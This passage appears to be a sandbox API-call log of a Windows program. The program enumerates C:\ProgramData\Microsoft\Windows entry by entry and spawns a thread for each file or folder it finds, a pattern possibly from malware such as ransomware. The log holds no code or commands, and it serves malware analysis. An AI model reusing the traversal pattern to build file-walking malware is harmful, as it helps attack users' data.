	[0076.856] wcscat (in: _Dest=0x2daf9d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0076.857] wcscat (in: _Dest=0x2daf9d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\*"
	[0076.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e27b30
	[0076.857] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.006] wcscmp (_String1=".", _String2=".") returned 0
	[0079.006] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.006] wcscmp (_String1="..", _String2=".") returned 1
	[0079.006] wcscmp (_String1="..", _String2="..") returned 0
	[0079.006] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc9faaa23, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xc9faaa23, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppRepository", cAlternateFileName="APPREP~1")) returned 1
	[0079.006] wcscmp (_String1="AppRepository", _String2=".") returned 1
	[0079.006] wcscmp (_String1="AppRepository", _String2="..") returned 1
	[0079.006] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4780a50
	[0079.006] wcscpy (in: _Dest=0x4780a50, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.006] wcscat (in: _Dest=0x4780a50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.006] wcscat (in: _Dest=0x4780a50, _Source="AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0079.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4780a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8
	[0079.007] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4e338, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadc9b08d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xadc74e2f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4317, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxProvisioning.xml", cAlternateFileName="APPXPR~1.XML")) returned 1
	[0079.007] wcscmp (_String1="AppxProvisioning.xml", _String2=".") returned 1
	[0079.007] wcscmp (_String1="AppxProvisioning.xml", _String2="..") returned 1
	[0079.007] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x4753a70
	[0079.007] wcscpy (in: _Dest=0x4753a70, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.007] wcscat (in: _Dest=0x4753a70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.007] wcscat (in: _Dest=0x4753a70, _Source="AppxProvisioning.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppxProvisioning.xml"
	[0079.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfac
	[0079.008] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e238740, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xf60bd162, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf60bd162, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1
	[0079.008] wcscmp (_String1="Caches", _String2=".") returned 1
	[0079.008] wcscmp (_String1="Caches", _String2="..") returned 1
	[0079.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac000
	[0079.008] wcscpy (in: _Dest=0x2dac000, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.008] wcscat (in: _Dest=0x2dac000, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.008] wcscat (in: _Dest=0x2dac000, _Source="Caches" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Caches") returned="C:\\ProgramData\\Microsoft\\Windows\\Caches"
	[0079.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac000) returned 1
	[0079.008] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x7dc6c35, ftLastAccessTime.dwHighDateTime=0x1d5d806, ftLastWriteTime.dwLowDateTime=0x7dc6c35, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClipSVC", cAlternateFileName="")) returned 1
	[0079.008] wcscmp (_String1="ClipSVC", _String2=".") returned 1
	[0079.008] wcscmp (_String1="ClipSVC", _String2="..") returned 1
	[0079.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daf068
	[0079.008] wcscpy (in: _Dest=0x2daf068, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.008] wcscat (in: _Dest=0x2daf068, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.008] wcscat (in: _Dest=0x2daf068, _Source="ClipSVC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC"
	[0079.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daf068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb0
	[0079.009] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccc6a2b9, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xccc6a2b9, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataCache", cAlternateFileName="DEVICE~2")) returned 1
	[0079.009] wcscmp (_String1="DeviceMetadataCache", _String2=".") returned 1
	[0079.009] wcscmp (_String1="DeviceMetadataCache", _String2="..") returned 1
	[0079.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x47533e0
	[0079.010] wcscpy (in: _Dest=0x47533e0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.010] wcscat (in: _Dest=0x47533e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.010] wcscat (in: _Dest=0x47533e0, _Source="DeviceMetadataCache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache"
	[0079.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47533e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb4
	[0079.010] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2129d74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataStore", cAlternateFileName="DEVICE~1")) returned 1
	[0079.010] wcscmp (_String1="DeviceMetadataStore", _String2=".") returned 1
	[0079.010] wcscmp (_String1="DeviceMetadataStore", _String2="..") returned 1
	[0079.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753458
	[0079.010] wcscpy (in: _Dest=0x4753458, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.010] wcscat (in: _Dest=0x4753458, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.010] wcscat (in: _Dest=0x4753458, _Source="DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore"
	[0079.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4753458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb8
	[0079.011] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1
	[0079.011] wcscmp (_String1="GameExplorer", _String2=".") returned 1
	[0079.011] wcscmp (_String1="GameExplorer", _String2="..") returned 1
	[0079.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x477ff58
	[0079.011] wcscpy (in: _Dest=0x477ff58, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.011] wcscat (in: _Dest=0x477ff58, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.011] wcscat (in: _Dest=0x477ff58, _Source="GameExplorer" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer"
	[0079.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477ff58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfbc
	[0079.012] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LfSvc", cAlternateFileName="")) returned 1
	[0079.012] wcscmp (_String1="LfSvc", _String2=".") returned 1
	[0079.012] wcscmp (_String1="LfSvc", _String2="..") returned 1
	[0079.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dabc38
	[0079.012] wcscpy (in: _Dest=0x2dabc38, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.012] wcscat (in: _Dest=0x2dabc38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.012] wcscat (in: _Dest=0x2dabc38, _Source="LfSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc"
	[0079.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dabc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc0
	[0079.013] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c481, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackagedEventProviders", cAlternateFileName="PACKAG~1")) returned 1
	[0079.013] wcscmp (_String1="PackagedEventProviders", _String2=".") returned 1
	[0079.013] wcscmp (_String1="PackagedEventProviders", _String2="..") returned 1
	[0079.013] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753818
	[0079.013] wcscpy (in: _Dest=0x4753818, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.013] wcscat (in: _Dest=0x4753818, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.013] wcscat (in: _Dest=0x4753818, _Source="PackagedEventProviders" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders") returned="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders"
	[0079.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4753818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4
	[0079.014] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c80e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parental Controls", cAlternateFileName="PARENT~1")) returned 1
	[0079.014] wcscmp (_String1="Parental Controls", _String2=".") returned 1
	[0079.014] wcscmp (_String1="Parental Controls", _String2="..") returned 1
	[0079.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ed060
	[0079.014] wcscpy (in: _Dest=0x47ed060, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.014] wcscat (in: _Dest=0x47ed060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.014] wcscat (in: _Dest=0x47ed060, _Source="Parental Controls" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls") returned="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls"
	[0079.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ed060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8
	[0079.015] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1516f86b, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x1516f86b, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Efficiency Diagnostics", cAlternateFileName="POWERE~1")) returned 1
	[0079.015] wcscmp (_String1="Power Efficiency Diagnostics", _String2=".") returned 1
	[0079.015] wcscmp (_String1="Power Efficiency Diagnostics", _String2="..") returned 1
	[0079.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498d790
	[0079.015] wcscpy (in: _Dest=0x498d790, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.015] wcscat (in: _Dest=0x498d790, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.015] wcscat (in: _Dest=0x498d790, _Source="Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics"
	[0079.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x498d790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfcc
	[0079.015] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc21e5ea3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1
	[0079.015] wcscmp (_String1="Ringtones", _String2=".") returned 1
	[0079.016] wcscmp (_String1="Ringtones", _String2="..") returned 1
	[0079.016] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daf3c8
	[0079.016] wcscpy (in: _Dest=0x2daf3c8, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.016] wcscat (in: _Dest=0x2daf3c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.016] wcscat (in: _Dest=0x2daf3c8, _Source="Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones"
	[0079.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daf3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0
	[0079.016] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedcf5f61, ftCreationTime.dwHighDateTime=0x1d336d9, ftLastAccessTime.dwLowDateTime=0xeeb42f5b, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xeeb42f5b, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SleepStudy", cAlternateFileName="SLEEPS~1")) returned 1
	[0079.016] wcscmp (_String1="SleepStudy", _String2=".") returned 1
	[0079.016] wcscmp (_String1="SleepStudy", _String2="..") returned 1
	[0079.016] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf368
	[0079.016] wcscpy (in: _Dest=0x2daf368, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.016] wcscat (in: _Dest=0x2daf368, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.017] wcscat (in: _Dest=0x2daf368, _Source="SleepStudy" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy") returned="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy"
	[0079.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daf368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd4
	[0079.017] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sqm", cAlternateFileName="")) returned 1
	[0079.017] wcscmp (_String1="Sqm", _String2=".") returned 1
	[0079.017] wcscmp (_String1="Sqm", _String2="..") returned 1
	[0079.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dac210
	[0079.017] wcscpy (in: _Dest=0x2dac210, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.017] wcscat (in: _Dest=0x2dac210, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.017] wcscat (in: _Dest=0x2dac210, _Source="Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm"
	[0079.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dac210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8
	[0079.018] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0079.018] wcscmp (_String1="Start Menu", _String2=".") returned 1
	[0079.018] wcscmp (_String1="Start Menu", _String2="..") returned 1
	[0079.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2dae948
	[0079.018] wcscpy (in: _Dest=0x2dae948, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.018] wcscat (in: _Dest=0x2dae948, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.018] wcscat (in: _Dest=0x2dae948, _Source="Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu"
	[0079.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dae948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfdc
	[0079.019] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc252d1d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu Places", cAlternateFileName="STARTM~2")) returned 1
	[0079.019] wcscmp (_String1="Start Menu Places", _String2=".") returned 1
	[0079.019] wcscmp (_String1="Start Menu Places", _String2="..") returned 1
	[0079.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ed0d0
	[0079.019] wcscpy (in: _Dest=0x47ed0d0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
	[0079.019] wcscat (in: _Dest=0x47ed0d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\"
	[0079.019] wcscat (in: _Dest=0x47ed0d0, _Source="Start Menu Places" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places"
